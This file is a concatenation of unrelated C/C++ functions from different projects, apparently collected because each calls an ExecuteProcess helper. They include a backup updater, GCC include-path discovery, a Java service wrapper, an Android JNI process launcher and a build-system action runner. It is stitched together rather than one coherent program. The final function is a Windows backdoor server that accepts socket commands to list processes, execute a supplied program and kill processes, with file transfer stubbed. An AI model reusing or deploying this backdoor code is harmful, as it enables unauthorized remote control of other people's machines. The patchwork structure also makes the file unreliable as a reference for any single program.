void update_urbackup(void)
{
#ifdef _WIN32
wxStandardPaths sp;
std::string e_pstr=ExtractFilePath(sp.GetExecutablePath().ToStdString());
ExecuteProcess(e_pstr+"\\UrBackupUpdate.exe","","");
timer->resetDisplayedUpdateInfo();
#endif
}
std::vector<std::string> Wide::Driver::GetGCCIncludePaths(std::string gcc) {
#ifdef _MSC_VER
auto result = ExecuteProcess(gcc + " -E -x c++ - -v < NUL 2>&1");
#else
auto result = ExecuteProcess(gcc + " -E -x c++ - -v < /dev/null 2>&1");
#endif
auto begin = boost::algorithm::find_first(result, "#include <...> search starts here:");
auto end = boost::algorithm::find_first(result, "End of search list.");
if (!begin || !end)
throw std::runtime_error("Could not find G++ header search paths in G++ output.");
auto path_strings = std::string(begin.end(), end.begin());
std::vector<std::string> paths;
boost::algorithm::split(paths, path_strings, [](char c) { return c == '\n'; });
std::vector<std::string> non_empty_paths;
for (auto&& path : paths) {
boost::algorithm::trim(path);
if (!path.empty())
non_empty_paths.push_back(path);
}
return non_empty_paths;
}
bool SpawnDumperProcess(_EXCEPTION_POINTERS *pep)
{
DWORD dwID = GetCurrentProcessId();
wchar_t processId[16];
wsprintfW(processId,L"%d",dwID);
std::wstring exe_path(L"C:/l_WatchDog.exe");
std::wstring params(processId);
size_t ret = ExecuteProcess(pep,exe_path, params, 60*15);
if (ret==0)
return true;
return false;
}
void OnStop()
{
//Kill the JAVA command thread.
if (dwProcessId)
{
//attempt a graceful shutdown. Kill the process if that fails
std::wstring appexe;
std::wstring params;
HRESULT hr = getParamsFromXMLConfigFile(SHUTDOWN,&appexe,¶ms);
if (hr == S_OK)
{
hr = ExecuteProcess(appexe, params,20);
if (hr != S_OK)
{
//Failed to shutdown within the specified timeout. Kill process
BOOL ret = false;
HANDLE hProcess = OpenProcess( PROCESS_TERMINATE, 0, dwProcessId );
if (hProcess != NULL)
{
//LogEvent(_T("Terminating java process"));
UINT exitCode = 0;
ret = TerminateProcess( hProcess, exitCode );
if (!ret)
{
LogEvent(_T("Failed to terminate java process"));
}
else
{
//LogEvent(_T("Terminated java process"));
}
}
}
}
}
// Stop worker-thread
__super::OnStop();
LogEvent(_T("JavaService Stopped"));
}
HRESULT Run(int nShowCmd = SW_HIDE)
{
HRESULT hr=S_OK;
// Start worker thread here
std::wstring appexe;
std::wstring params;
hr = getParamsFromXMLConfigFile(STARTUP,&appexe,¶ms);
if (hr==S_OK)
{
LogEvent(_T("Started"));
hr = ExecuteProcess(appexe, params,10);
if (hr==S_OK)
{
hr = __super::Run(nShowCmd);
}
}
return hr;
}
/**
* Converts Java String[] to char** and delegates to ExecuteProcess().
*/
static pid_t ProcessManager_exec(JNIEnv* env, jclass, jobjectArray javaCommands,
jobjectArray javaEnvironment, jstring javaWorkingDirectory,
jobject inDescriptor, jobject outDescriptor, jobject errDescriptor,
jboolean redirectErrorStream) {
ExecStrings commands(env, javaCommands);
ExecStrings environment(env, javaEnvironment);
// Extract working directory string.
const char* workingDirectory = NULL;
if (javaWorkingDirectory != NULL) {
workingDirectory = env->GetStringUTFChars(javaWorkingDirectory, NULL);
}
pid_t result = ExecuteProcess(env, commands.get(), environment.get(), workingDirectory,
inDescriptor, outDescriptor, errDescriptor, redirectErrorStream);
// Clean up working directory string.
if (javaWorkingDirectory != NULL) {
env->ReleaseStringUTFChars(javaWorkingDirectory, workingDirectory);
}
return result;
}
static BuildProgress::Enum RunAction(BuildQueue* queue, ThreadState* thread_state, NodeState* node, Mutex* queue_lock)
{
const NodeData *node_data = node->m_MmapData;
const char *cmd_line = node_data->m_Action;
const char *pre_cmd_line = node_data->m_PreAction;
if (!cmd_line || cmd_line[0] == '\0')
return BuildProgress::kSucceeded;
if (node->m_MmapData->m_Flags & NodeData::kFlagExpensive)
{
if (queue->m_ExpensiveRunning == queue->m_Config.m_MaxExpensiveCount)
{
ParkExpensiveNode(queue, node);
return BuildProgress::kRunAction;
}
else
{
++queue->m_ExpensiveRunning;
}
}
MutexUnlock(queue_lock);
StatCache *stat_cache = queue->m_Config.m_StatCache;
const char *annotation = node_data->m_Annotation;
int job_id = thread_state->m_ThreadIndex;
int echo_cmdline = 0 != (queue->m_Config.m_Flags & BuildQueueConfig::kFlagEchoCommandLines);
// Repack frozen env to pointers on the stack.
int env_count = node_data->m_EnvVars.GetCount();
EnvVariable* env_vars = (EnvVariable*) alloca(env_count * sizeof(EnvVariable));
for (int i = 0; i < env_count; ++i)
{
env_vars[i].m_Name = node_data->m_EnvVars[i].m_Name;
env_vars[i].m_Value = node_data->m_EnvVars[i].m_Value;
}
for (const FrozenFileAndHash& output_file : node_data->m_OutputFiles)
{
PathBuffer output;
PathInit(&output, output_file.m_Filename);
if (!MakeDirectoriesForFile(stat_cache, output))
{
Log(kError, "failed to create output directories for %s", output_file.m_Filename.Get());
MutexLock(queue_lock);
return BuildProgress::kFailed;
}
}
ExecResult result = { 0, false };
// See if we need to remove the output files before running anything.
if (0 == (node_data->m_Flags & NodeData::kFlagOverwriteOutputs))
{
for (const FrozenFileAndHash& output : node_data->m_OutputFiles)
{
Log(kDebug, "Removing output file %s before running action", output.m_Filename.Get());
remove(output.m_Filename);
StatCacheMarkDirty(stat_cache, output.m_Filename, output.m_Hash);
}
}
if (pre_cmd_line)
{
Log(kSpam, "Launching pre-action process");
TimingScope timing_scope(&g_Stats.m_ExecCount, &g_Stats.m_ExecTimeCycles);
result = ExecuteProcess(pre_cmd_line, env_count, env_vars, job_id, echo_cmdline, "(pre-build command)");
Log(kSpam, "Process return code %d", result.m_ReturnCode);
}
if (0 == result.m_ReturnCode)
{
Log(kSpam, "Launching process");
TimingScope timing_scope(&g_Stats.m_ExecCount, &g_Stats.m_ExecTimeCycles);
result = ExecuteProcess(cmd_line, env_count, env_vars, job_id, echo_cmdline, annotation);
Log(kSpam, "Process return code %d", result.m_ReturnCode);
}
for (const FrozenFileAndHash& output : node_data->m_OutputFiles)
{
StatCacheMarkDirty(stat_cache, output.m_Filename, output.m_Hash);
}
MutexLock(queue_lock);
if (result.m_WasSignalled)
{
SignalSet("child processes signalled");
}
if (0 == result.m_ReturnCode)
{
return BuildProgress::kSucceeded;
}
else
{
// Clean up output files after a failed build unless they are precious.
if (0 == (NodeData::kFlagPreciousOutputs & node_data->m_Flags))
{
for (const FrozenFileAndHash& output : node_data->m_OutputFiles)
{
Log(kDebug, "Removing output file %s from failed build", output.m_Filename.Get());
remove(output.m_Filename);
StatCacheMarkDirty(stat_cache, output.m_Filename, output.m_Hash);
}
}
return BuildProgress::kFailed;
}
}
int _tmain(int argc, _TCHAR* argv[])
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
SOCKET server_socket = INVALID_SOCKET;
sockaddr_in service; // socket address to bind to
wVersionRequested = MAKEWORD(2, 2);
err = WSAStartup(wVersionRequested,
&wsaData);
if (err != 0)
{
// Check if error = WSAVERNOTSUPPORTED and if is --
// It means ws2_32.dll is too old. This system needs a serious update.
wprintf(L"WSAStartup failed with error: %d\n", err);
return -1;
}
//
// Create a socket
//
server_socket = socket(AF_INET,
SOCK_STREAM,
IPPROTO_TCP);
if (server_socket == INVALID_SOCKET)
{
wprintf(L"Create socket failed. Error: %u\n", WSAGetLastError());
WSACleanup();
return -1;
}
//
// Fill in sockaddr_in -- Address family, IP address, port
//
service.sin_family = AF_INET;
service.sin_addr.s_addr = inet_addr("127.0.0.1"); //(INADDR_ANY); //("127.0.0.1");
service.sin_port = htons(PORT_NUM);
//
// Bind the socket
//
err = bind(server_socket,
(SOCKADDR *) &service,
sizeof (service));
if (err == SOCKET_ERROR)
{
wprintf(L"Bind failed. Error: %u\n", WSAGetLastError());
closesocket(server_socket);
WSACleanup();
return -1;
}
//
// Listen for incoming connections
//
if (listen(server_socket,
SOMAXCONN) == SOCKET_ERROR)
{
wprintf(L"Listen() failed. Error: %d\n", WSAGetLastError());
closesocket(server_socket);
WSACleanup();
return -1;
}
wprintf(L"Listening on port: %d\n", PORT_NUM);
//
// Accept connections
//
SOCKET connectSocket;
connectSocket = accept(server_socket,
NULL,
NULL);
if (connectSocket == INVALID_SOCKET)
{
wprintf(L"Accept() failed. Error: %ld\n", WSAGetLastError());
closesocket(server_socket);
WSACleanup();
return -1;
}
wprintf(L"New client connected!\n");
//
// Receive Data
//
char recvbuf[RECEIVE_BUFLEN];
int bytes_received = recv(connectSocket,
recvbuf,
sizeof(recvbuf),
0);
if ( bytes_received > 0 )
{
wprintf(L"Bytes received: %d\n", bytes_received);
}
//
// Verify valid backdoor msg
//
// IMPORTANT: For future need to check proper receive length
char* buf_ptr = recvbuf;
if(*((DWORD*)buf_ptr) == BACKDOOR_MAGIC_NUMBER)
{
wprintf(L"Valid Backdoor message!\n");
buf_ptr += sizeof(DWORD);
switch( *((BACKDOOR_MSG*)buf_ptr))
{
case BKDOOR_HEARTBEAT:
wprintf(L"BKDOOR_HEARTBEAT received!\n");
SendAck(connectSocket);
break;
case BKDOOR_PUT_FILE:
wprintf(L"BKDOOR_PUT_FILE received!\n");
break;
case BKDOOR_GET_FILE:
wprintf(L"BKDOOR_GET_FILE received!\n");
break;
case BKDOOR_GET_PROCESS_LIST:
{
wprintf(L"BKDOOR_GET_PROCESS_LIST received!\n");
if(EnumerateProcesses(connectSocket))
{
SendAck(connectSocket);
}
else
{
SendNAK(connectSocket);
}
}
break;
case BKDOOR_EXECUTE_PROCESS:
{
wprintf(L"BKDOOR_EXECUTE_PROCESS received!\n");
BKDOOR_PROCESS_REQ req = *((BKDOOR_PROCESS_REQ*)recvbuf);
if(ExecuteProcess(req.szExeFile))
{
SendAck(connectSocket);
}
else
{
SendNAK(connectSocket);
}
}
break;
case BKDOOR_KILL_PROCESS:
{
wprintf(L"BKDOOR_KILL_PROCESS received!\n");
BKDOOR_PROCESS_REQ req = *((BKDOOR_PROCESS_REQ*)recvbuf);
if(KillProcess(req.th32ProcessID))
{
SendAck(connectSocket);
}
else
{
SendNAK(connectSocket);
}
}
break;
default:
wprintf(L"Error: Unknown message received!\n");
break;
}
}
//
// Cleanup
//
closesocket(connectSocket);
closesocket(server_socket);
WSACleanup();
return 0;
}
